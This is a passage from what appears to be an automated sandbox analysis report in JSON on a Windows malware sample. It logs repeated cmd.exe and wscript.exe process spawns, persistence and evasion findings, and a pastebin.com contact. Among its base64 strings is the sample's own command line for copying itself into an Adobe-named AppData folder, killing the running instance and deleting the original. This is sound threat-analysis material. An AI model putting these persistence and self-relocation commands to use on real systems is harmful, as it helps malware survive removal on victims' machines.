process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00023799-00002572","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1990457.vbs\"\""},{"type":"process","process_uid":"00023824-00002428","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00024301-00002688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2144209.vbs\"\""},{"type":"process","process_uid":"00024324-00002628","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00024801-00002736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup6544173.vbs\"\""},{"type":"process","process_uid":"00024825-00002784","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00025305-00003160","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup5382966.vbs\"\""},{"type":"process","process_uid":"00025337-00002968","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00025815-00003332","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup276877.vbs\"\""},{"type":"process","process_uid":"00025847-00003792","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00026326-00003348","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7434561.vbs\"\""},{"type":"process","process_uid":"00026351-00003364","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00026827-00003392","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup8245793.vbs\"\""},{"type":"process","process_uid":"00026845-00003460","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00027355-00002052","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup1295063.vbs\"\""},{"type":"process","process_uid":"00027367-00003524","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00027878-00003044","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup562985.vbs\"\""},{"type":"process","process_uid":"00027901-00002232","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00028378-00003688","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2031697.vbs\"\""},{"type":"process","process_uid":"00028398-00003692","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null}],"detonation_parameters":{"action_script":"default","experimental_anti_evasion":true,"script_logging":true,"allow_sample_tampering":false,"network_mode":"default","custom_system_date_time":null,"custom_commandline":null,"document_password":null,"document_password_exists":false,"environment_variable":null,"dynamic_analysis_time":240,"comment":null},"falcon_mal_query_results":[],"falcon_intelligence_data":null,"search_tags":[],"execution_mode":"KERNELMODE","monitor_script":"default.au3","monitor_script_description":"Default analysis","windows_version_name":"Windows 7","windows_version_edition":"Home Premium","windows_version_service_pack":"Service Pack 1","windows_version_version":"6.1 (build 7601)","windows_version_bitness":"32","custom_date_time":null,"sandbox_version":"7.00","report_generator_version":null,"signature_engine_version":null,"mitre_version":null,"office_analysis":false,"office_version":null,"incidents":[{"name":"Persistence","details":["Writes data to a remote process","Spawns a lot of processes"]},{"name":"Fingerprint","details":["Reads the cryptographic machine GUID","Reads the active computer name"]},{"name":"Evasive","details":["Tries to sleep for a long time (more than two minutes)"]},{"name":"Network Behavior","details":["Contacts 1 domain and 1 host"]}],"icon":"$98","visualization":"$99","classification":["82.9% (.EXE) Generic CIL Executable (.NET, Mono, etc.)","7.4% (.DLL) Win32 Dynamic Link Library (generic)","5.1% (.EXE) Win32 Executable (generic)","2.2% (.EXE) Generic Win/DOS Executable","2.2% (.EXE) DOS Executable Generic"],"dns_requests":[{"compromised":true,"domain":"pastebin.com","address":"104.20.209.21","ttl":null,"country":"United States","registrar_name":"ENOM, INC.","registrar_organization":"WHOISGUARD, INC.","registrar_name_servers":"SUE.NS.CLOUDFLARE.COM","registrar_creation_date":"2002-09-03T00:00:00+00:00","who_is":[{"key":"Address","value":"P.O. BOX 0823-03411"},{"key":"City","value":"PANAMA"},{"key":"Country","value":"PA"},{"key":"Creation Date","value":"Tue, 03 Sep 2002 00:00:00 GMT"},{"key":"Creation Date","value":"Tue, 03 Sep 2002 22:42:00 GMT"},{"key":"DNSSEC","value":"unSigned"},{"key":"Domain Name","value":"PASTEBIN.COM"},{"key":"EMail","value":"088BCCD8743445DEBC1DB63B78819528.PROTECT@WHOISGUARD.COM"},{"key":"EMail","value":"abuse@enom.com"},{"key":"Expiration Date","value":"Sun, 03 Sep 2017 00:00:00 GMT"},{"key":"Expiration Date","value":"Sun, 03 Sep 2017 22:42:41 GMT"},{"key":"name","value":"WHOISGUARD PROTECTED"},{"key":"Name Server","value":"SUE.NS.CLOUDFLARE.COM"},{"key":"Name Server","value":"TODD.NS.CLOUDFLARE.COM"},{"key":"Organization","value":"WHOISGUARD, INC."},{"key":"Referral URL","value":"http://www.enom.com"},{"key":"Reigstrar","value":"ENOM, INC."},{"key":"Status","value":"clientTransferProhibited https://icann.org/epp#clientTransferProhibited"},{"key":"Status","value":"clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited"},{"key":"Last Update","value":"Thu, 04 Aug 2016 00:00:00 GMT"},{"key":"Last Update","value":"Sun, 03 Aug 2014 21:41:44 GMT"},{"key":"Whois Server","value":"whois.enom.com"}],"associated_sha256s":[{"sha256":"e3345f2223544547d2e671002bd309e2345eb843e3942a9b7a691235498bb8c1","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T07:00:19+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/e3345f2223544547d2e671002bd309e2345eb843e3942a9b7a691235498bb8c1/"}},{"sha256":"094a771a56b8306c292e7a3c545c7589965c66aae513e564fc6c2180f4f2d746","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T06:38:49+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/094a771a56b8306c292e7a3c545c7589965c66aae513e564fc6c2180f4f2d746/"}},{"sha256":"82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T05:58:07+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26/"}},{"sha256":"11c167f97c379a30dda458f95198e1fd98eec190a2d4fd85cd1e75287c836b16","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T02:39:15+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/11c167f97c379a30dda458f95198e1fd98eec190a2d4fd85cd1e75287c836b16/"}},{"sha256":"6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-15T14:24:26+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf/"}}]}],"contacted_hosts":[{"compromised":true,"address":"104.20.209.21","port":443,"protocol":"TCP","associated_runtime":[{"name":"mscr.exe","pid":"3724"}],"country":"United States","associated_sha256s":[{"sha256":"e3345f2223544547d2e671002bd309e2345eb843e3942a9b7a691235498bb8c1","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T07:00:19+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/e3345f2223544547d2e671002bd309e2345eb843e3942a9b7a691235498bb8c1/"}},{"sha256":"094a771a56b8306c292e7a3c545c7589965c66aae513e564fc6c2180f4f2d746","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T06:38:49+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/094a771a56b8306c292e7a3c545c7589965c66aae513e564fc6c2180f4f2d746/"}},{"sha256":"82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T05:58:07+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26/"}},{"sha256":"11c167f97c379a30dda458f95198e1fd98eec190a2d4fd85cd1e75287c836b16","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-16T02:39:15+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/11c167f97c379a30dda458f95198e1fd98eec190a2d4fd85cd1e75287c836b16/"}},{"sha256":"6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf","verdict":"no verdict","positives":null,"total":null,"scan_date":"2017-10-15T14:24:26+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf/"}}]}],"contacted_countries":{"countries":["USA"],"coordinates":[{"origin":{"latitude":"51.65","longitude":"6.1833"},"destination":{"latitude":"37.751","longitude":"-97.822"}}]},"port_infos":[{"port":443,"description":"Hypertext Transfer Protocol over TLS/SSL (HTTPS)"}],"extracted_strings":{"all":[{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiImZXhpdCYiIiI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiJjbWQuZXhlIiAvayBAZWNoby4mZGVsICIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLKi5sbmsiJmV4aXQm","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTA5NTMxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTE5ODUxNi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI0NDgxLnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTAwMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTA2My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTM1MjI2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTQ0NjY0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTU4MTEwNy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk2MzY2LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk5MDQ1Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjAzMTY5Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE0NDIwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE2MjE0NS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjQzMTY3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc2ODc3LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc4ODMxMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjg3OTQ4OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzAxOTMwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzA3NzEzMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzE5NzY1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzMzMDAxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDYwMTY5Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDc3MDY2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTM4Mjk2Ni52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTU4MTkwMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTYyOTg1LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjU0NDE3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjY4NzI1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjc1MjQ4My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzAzNjY4Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzA4NzIzNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzE3MTE0My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzI4NDgxMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQxOTI3NC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQzNDU2MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzU5NzYyNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzczMjY5MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzk0NDM5OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODE5MjUyOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODI0NTc5My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODc5MDE0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTA2OTA0OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTMyMTkzMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTkzNjEzMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiZzdGFydCAiIiAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"IkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"JGQ1N2ZhODc4LTYwMmYtNDEwYS04NDA4LTA2MzA4MzI1MzNiMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JXdpbmRpciVcdHJhY2luZw==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JydXU2NyX3B0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmsiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmtcIiZleGl0Jg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5wYXN0ZWJpbi5jb20=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L0NPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQSAyMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZleGl0Jg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9a","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyICI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFwiJmVjaG8uPj4iJUFQUERBVEElXEFkb2JlXDNNUllLXHVwZGF0ZSA6KSImZWNoby4+PiIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFx1cGRhdGUgOikiJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZjb3B5ICJDOlw0ZjBjZjRjZGUzNGJjYTAwNDU2NzA0NzA5MjBlNmE2YjViOGFmY2EzNmExZTkzMjBmZWZjNWFiMTYxNDgyODNlLmV4ZSIgIiVBUFBEQVRBJVxBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiZ0aW1lb3V0IC90IDEgL25vYnJlYWs+bnVsJmRlbCAiQzpcNGYwY2Y0Y2RlMzRiY2EwMDQ1NjcwNDcwOTIwZTZhNmI1YjhhZmNhMzZhMWU5MzIwZmVmYzVhYjE2MTQ4MjgzZS5leGUiJnN0YXJ0ICIiICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFxtc2NyLmV4ZSImZXhpdCY=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCAiIiAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCBcIlwiIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MDAwNTMwMTA0ODM4Wg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MSBmaWxlKHMpIGNvcGllZC4=","type":"Unicode","source":"Runtime Data","process":"cmd.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MTQwOTI1MDAwMDAwWg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MTYxMjE4MDAwMDAwWg==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MTcxMjE2MjM1OTU5WjBsMSEw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MURZSGRxQUpOOTNNUllLOFJMU0JkQUFuRTVVWGc1aGVpSg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MjAwNTMwMTA0ODM4WjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"MjkwOTI0MjM1OTU5WjA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"M2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVybmFsQ0FSb290LmNybDA1","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"Nl9fXzBfX0A/X18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"O2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHI=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4gIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgPC9zZWN1cml0eT4gIDwvdHJ1c3RJbmZvPjwvYXNzZW1ibHk+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P19fXz9sX19b","type":"Ansi","source":"Image 